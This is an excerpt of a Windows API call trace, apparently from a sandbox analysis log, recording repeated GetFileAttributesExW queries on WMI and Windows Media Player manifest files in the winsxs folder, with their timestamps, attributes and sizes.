	[0106.458] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-mof.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c921af17d99c5cc8.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-mof.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c921af17d99c5cc8.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6968 | out: lpFileInformation=0x12ae6968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b1942a, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf6884934, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf5b1942a, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x2b99)) returned 1
	[0106.458] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-mof_31bf3856ad364e35_6.1.7600.16385_none_fe6bb73bc9e20a39.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-mof_31bf3856ad364e35_6.1.7600.16385_none_fe6bb73bc9e20a39.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae69b8 | out: lpFileInformation=0x12ae69b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a106f7e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x13710a28, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xbcd28ec5, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x3230)) returned 1
	[0106.458] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-mofinstaller_31bf3856ad364e35_6.1.7600.16385_none_6e1250e34571b3f3.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-mofinstaller_31bf3856ad364e35_6.1.7600.16385_none_6e1250e34571b3f3.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6a08 | out: lpFileInformation=0x12ae6a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b19b83, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xb1b6274, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x1be09f98, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1523)) returned 1
	[0106.459] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-ntevent-provider_31bf3856ad364e35_6.1.7601.17514_none_4e7fa5bfc379eecd.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-ntevent-provider_31bf3856ad364e35_6.1.7601.17514_none_4e7fa5bfc379eecd.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6a58 | out: lpFileInformation=0x12ae6a58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x904e9c2c, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x904e9c2c, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x9050fd8c, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c)) returned 1
	[0106.459] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-ping-provider_31bf3856ad364e35_6.1.7600.16385_none_a77af0ebe7f8a1cb.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-ping-provider_31bf3856ad364e35_6.1.7600.16385_none_a77af0ebe7f8a1cb.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6aa8 | out: lpFileInformation=0x12ae6aa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b997f1, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x14d904fc, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x6385e9d1, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x1184)) returned 1
	[0106.459] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-printer-mof_31bf3856ad364e35_6.1.7600.16385_none_15237dc6fc8a6e5a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-printer-mof_31bf3856ad364e35_6.1.7600.16385_none_15237dc6fc8a6e5a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6af8 | out: lpFileInformation=0x12ae6af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a106f7e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x159a1f08, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x1568cce4, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x8dd)) returned 1
	[0106.459] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-provider-common_31bf3856ad364e35_6.1.7600.16385_none_0434b662f2d183a0.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-provider-common_31bf3856ad364e35_6.1.7600.16385_none_0434b662f2d183a0.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6b48 | out: lpFileInformation=0x12ae6b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c59fedc, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x154dd588, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x43780c72, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xaa7)) returned 1
	[0106.460] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-scripting_31bf3856ad364e35_6.1.7600.16385_none_bd062a3e0c6e3ed4.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-scripting_31bf3856ad364e35_6.1.7600.16385_none_bd062a3e0c6e3ed4.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6b98 | out: lpFileInformation=0x12ae6b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83adb120, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x84b6ccc, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xbc10de34, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xf250)) returned 1
	[0106.460] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-snmp-provider_31bf3856ad364e35_6.1.7601.17514_none_08e183f8dd5f48b7.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-snmp-provider_31bf3856ad364e35_6.1.7601.17514_none_08e183f8dd5f48b7.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6be8 | out: lpFileInformation=0x12ae6be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81c6155f, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x4242c64, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x81c876c0, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x5114)) returned 1
	[0106.460] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-stdprov-provider_31bf3856ad364e35_6.1.7600.16385_none_9a8350c7e0405c47.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-stdprov-provider_31bf3856ad364e35_6.1.7600.16385_none_9a8350c7e0405c47.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6c38 | out: lpFileInformation=0x12ae6c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b73694, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x147e6db4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4855d795, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x1cba)) returned 1
	[0106.460] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-text-encoding_31bf3856ad364e35_6.1.7600.16385_none_157658b455c19edc.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-text-encoding_31bf3856ad364e35_6.1.7600.16385_none_157658b455c19edc.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6c88 | out: lpFileInformation=0x12ae6c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a8ee66, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xbbd7ea4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xab270e65, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x100e)) returned 1
	[0106.461] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-time-provider_31bf3856ad364e35_6.1.7600.16385_none_49270c5b422d6986.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-time-provider_31bf3856ad364e35_6.1.7600.16385_none_49270c5b422d6986.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6cd8 | out: lpFileInformation=0x12ae6cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b4d537, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xafa024c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xadf92d9c, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x117f)) returned 1
	[0106.461] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a36bf8093e2548af.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-tools.resources_31bf3856ad364e35_6.1.7600.16385_en-us_a36bf8093e2548af.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6d28 | out: lpFileInformation=0x12ae6d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a63688, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf20340b7, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf1a63688, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xc19)) returned 1
	[0106.461] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-tools_31bf3856ad364e35_6.1.7600.16385_none_33f05b889d506d0a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-tools_31bf3856ad364e35_6.1.7600.16385_none_33f05b889d506d0a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6d78 | out: lpFileInformation=0x12ae6d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c0bc08, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x114cb9e0, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xa07f3413, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xced)) returned 1
	[0106.461] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-view-provider_31bf3856ad364e35_6.1.7601.17514_none_b4748e117cad32ac.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-view-provider_31bf3856ad364e35_6.1.7601.17514_none_b4748e117cad32ac.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6dc8 | out: lpFileInformation=0x12ae6dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74e7a4e4, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x74e7a4e4, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x74ea0645, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0xe9f)) returned 1
	[0106.462] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-wdm-provider_31bf3856ad364e35_6.1.7601.17514_none_d858d17478af3bc1.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-wdm-provider_31bf3856ad364e35_6.1.7601.17514_none_d858d17478af3bc1.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6e18 | out: lpFileInformation=0x12ae6e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68509db1, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x68509db1, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x6852ff12, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1669)) returned 1
	[0106.462] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmi-win32-provider_31bf3856ad364e35_6.1.7600.16385_none_22bff75d90022b80.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmi-win32-provider_31bf3856ad364e35_6.1.7600.16385_none_22bff75d90022b80.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6e68 | out: lpFileInformation=0x12ae6e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d186bec, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x10a83b64, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x603b4737, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x2f6c)) returned 1
	[0106.462] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmilib_31bf3856ad364e35_6.1.7600.16385_none_b549ebfe1dddb7f1.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmilib_31bf3856ad364e35_6.1.7600.16385_none_b549ebfe1dddb7f1.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6eb8 | out: lpFileInformation=0x12ae6eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ab97049, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7ab97049, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3b5ae871, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x88e)) returned 1
	[0106.462] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmiperf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ca5b335b95a51040.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmiperf.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ca5b335b95a51040.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6f08 | out: lpFileInformation=0x12ae6f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3db9bcd, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf4364343, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf3db9bcd, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xa75)) returned 1
	[0106.463] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmiperf_31bf3856ad364e35_6.1.7600.16385_none_fb8f05cfcc08dc77.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmiperf_31bf3856ad364e35_6.1.7600.16385_none_fb8f05cfcc08dc77.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6f58 | out: lpFileInformation=0x12ae6f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x815f5f08, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x1381ba3c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x95bd2ac2, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1d98)) returned 1
	[0106.463] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmpdmc-ux.resources_31bf3856ad364e35_6.1.7600.16385_en-us_422f89f03b3c6756.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmpdmc-ux.resources_31bf3856ad364e35_6.1.7600.16385_en-us_422f89f03b3c6756.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6fa8 | out: lpFileInformation=0x12ae6fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb4b587b, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfb9c750d, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfb4b587b, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x94d)) returned 1
	[0106.463] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmpdmc-ux_31bf3856ad364e35_6.1.7601.17514_none_4c8976380e00631f.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmpdmc-ux_31bf3856ad364e35_6.1.7601.17514_none_4c8976380e00631f.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae6ff8 | out: lpFileInformation=0x12ae6ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaffa2b11, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xaffa2b11, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0xaffc8c71, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x1937)) returned 1
	[0106.463] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmpdmccore-api_31bf3856ad364e35_6.1.7600.16385_none_50e753e6cb762285.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmpdmccore-api_31bf3856ad364e35_6.1.7600.16385_none_50e753e6cb762285.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae7048 | out: lpFileInformation=0x12ae7048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cefe1df, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x1d9eb8a4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x8cfbc8b0, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x547b)) returned 1
	[0106.464] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmpdui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_d5915994377e8d86.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmpdui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_d5915994377e8d86.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae7098 | out: lpFileInformation=0x12ae7098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb4b587b, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfb4b587b, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x931)) returned 1
	[0106.464] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmpdui_31bf3856ad364e35_6.1.7600.16385_none_b8c681a01b93db95.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmpdui_31bf3856ad364e35_6.1.7600.16385_none_b8c681a01b93db95.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae70e8 | out: lpFileInformation=0x12ae70e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7daa8139, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x1d9c5658, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x7daf43f3, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xa87)) returned 1
	[0106.464] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmpnss-api.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c0bf65323a51472d.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmpnss-api.resources_31bf3856ad364e35_6.1.7600.16385_en-us_c0bf65323a51472d.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae7138 | out: lpFileInformation=0x12ae7138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb4b587b, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfb9c750d, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfb4b587b, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x950)) returned 1
	[0106.464] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmpnss-api_31bf3856ad364e35_6.1.7600.16385_none_3dde760f040daa8e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmpnss-api_31bf3856ad364e35_6.1.7600.16385_none_3dde760f040daa8e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae7188 | out: lpFileInformation=0x12ae7188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f6b15ef, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x1d99f40c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x9f723a06, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x3d89)) returned 1
	[0106.465] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmpnss-publicapi_31bf3856ad364e35_6.1.7600.16385_none_dced72f14bf0da01.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmpnss-publicapi_31bf3856ad364e35_6.1.7600.16385_none_dced72f14bf0da01.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae71d8 | out: lpFileInformation=0x12ae71d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaadd4422, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x1d9eb8a4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xaae206dc, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x6a20)) returned 1
	[0106.465] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmpnss-service_31bf3856ad364e35_6.1.7601.17514_none_61acd141e5332baf.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmpnss-service_31bf3856ad364e35_6.1.7601.17514_none_61acd141e5332baf.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae7228 | out: lpFileInformation=0x12ae7228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0145a34, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xb0145a34, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0xb016bb94, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x288a0)) returned 1
	[0106.465] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmpnss-ux.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1ca22bd53ed681fa.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmpnss-ux.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1ca22bd53ed681fa.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae7278 | out: lpFileInformation=0x12ae7278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb4b587b, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfb9c750d, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfb4b587b, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x94f)) returned 1
	[0106.465] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmpnss-ux_31bf3856ad364e35_6.1.7600.16385_none_13b9b4b7d327a721.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmpnss-ux_31bf3856ad364e35_6.1.7600.16385_none_13b9b4b7d327a721.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae72c8 | out: lpFileInformation=0x12ae72c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91a6b50e, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x1da11af0, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x91add925, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x13d2)) returned 1
	[0106.466] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmpnssui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_98ddec93d9e16c38.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmpnssui.resources_31bf3856ad364e35_6.1.7600.16385_en-us_98ddec93d9e16c38.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae7318 | out: lpFileInformation=0x12ae7318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb4b587b, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfb9c750d, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfb4b587b, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x924)) returned 1
	[0106.466] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\amd64_microsoft-windows-wmpnssui_31bf3856ad364e35_6.1.7600.16385_none_1475e2507460e085.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\amd64_microsoft-windows-wmpnssui_31bf3856ad364e35_6.1.7600.16385_none_1475e2507460e085.manifest"), fInfoLevelId=0x0, lpFileInformation=0x12ae7368 | out: lpFileInformation=0x12ae7368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bb32d28, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x1d9eb8a4, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x5bb58e85, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x3085)) returned 1
